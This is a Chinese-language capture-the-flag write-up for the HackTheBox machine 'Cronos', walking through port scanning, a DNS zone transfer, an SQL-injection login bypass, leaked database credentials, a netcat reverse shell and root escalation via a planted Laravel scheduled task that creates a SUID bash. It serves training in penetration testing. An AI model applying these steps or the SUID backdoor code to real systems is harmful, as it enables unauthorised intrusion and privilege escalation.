端口扫描

┌──(mikannse㉿kali)-[~/HTB/cronos]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 19:08 CST
Warning: 10.10.10.13 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.13
Host is up (0.087s latency).
Not shown: 62200 closed tcp ports (reset), 3332 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 38.31 seconds

┌──(mikannse㉿kali)-[~/HTB/cronos]
└─$ sudo nmap -sT -sV -sC -O -p22,53,80 10.10.10.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 19:09 CST
Nmap scan report for 10.10.10.13
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.80 seconds

嗯?开了一个53端口感觉莫名其妙

Web

登陆不上去，或许需要使用域名登录，反向查询一下域名信息，得到cronos.htb,添加hosts

┌──(mikannse㉿kali)-[~/HTB/cronos]
└─$ nslookup 10.10.10.13 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.

再次进行区域查询，查询该区域的其他DNS信息

┌──(mikannse㉿kali)-[~/HTB/cronos]
└─$ dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.20.1-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 67 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Mon Sep 09 19:48:23 CST 2024
;; XFR size: 7 records (messages 1, bytes 203)

添加hosts,admin的域名能够访问页面

万能密码能直接登陆进去,抓包发下能更改命令和参数

查看当前目录下的config.php能得到数据库凭证

define('DB_SERVER', 'localhost');<br>
define('DB_USERNAME', 'admin');<br>
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');<br>
define('DB_DATABASE', 'admin');<br>
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);

用rm和nc做一个反弹shell查询数据库，得到admin的密码为:1327663704

提权

发现本地还开了一个953端口,暂时不清楚用途,web目录下还有一个laravel

查看定时任务/etc/crontab

* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

laravel是一个php框架,这个定时任务的意思就是以root身份每分钟运行一次laravel框架中的定时任务

尝试写一个定时任务，参考: https://github.com/sonthanhng/Laravel-Cronjob/tree/master

先创建一个cronjob

www-data@cronos:~/laravel/app/Console$ php /var/www/laravel/artisan make:command TestCronjob

这会在laravel/app/Console/Commands下生成一个TestCronjob.php模板，加上要执行的指令

<?php

namespace App\Console\Commands;

use Illuminate\Console\Command;
use App\User;

class TestCronjob extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'TestCronjob:testCronjobFunction';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'test cronjob feature';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */

    public function handle()
    {
        system('cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash');
        echo "cronjob is working...";
    }
}

然后将kernel.php替换成上面项目中的内容

www-data@cronos:~/laravel/app/Console$ php /var/www/laravel/artisan list
php /var/www/laravel/artisan list
Laravel Framework 5.4.17

<SNIP>
 TestCronjob
  TestCronjob:testCronjobFunction  test cronjob feature
<SNIP>

发现计划任务成功创建,等一会儿后

www-data@cronos:/tmp$ ./root_bash -p
./root_bash -p
root_bash-4.3# whoami
whoami

我们是root!

碎碎念

其实还是比较简单的房间，不过重新复习一下DNS的内容，其实之前学的还是比较混乱的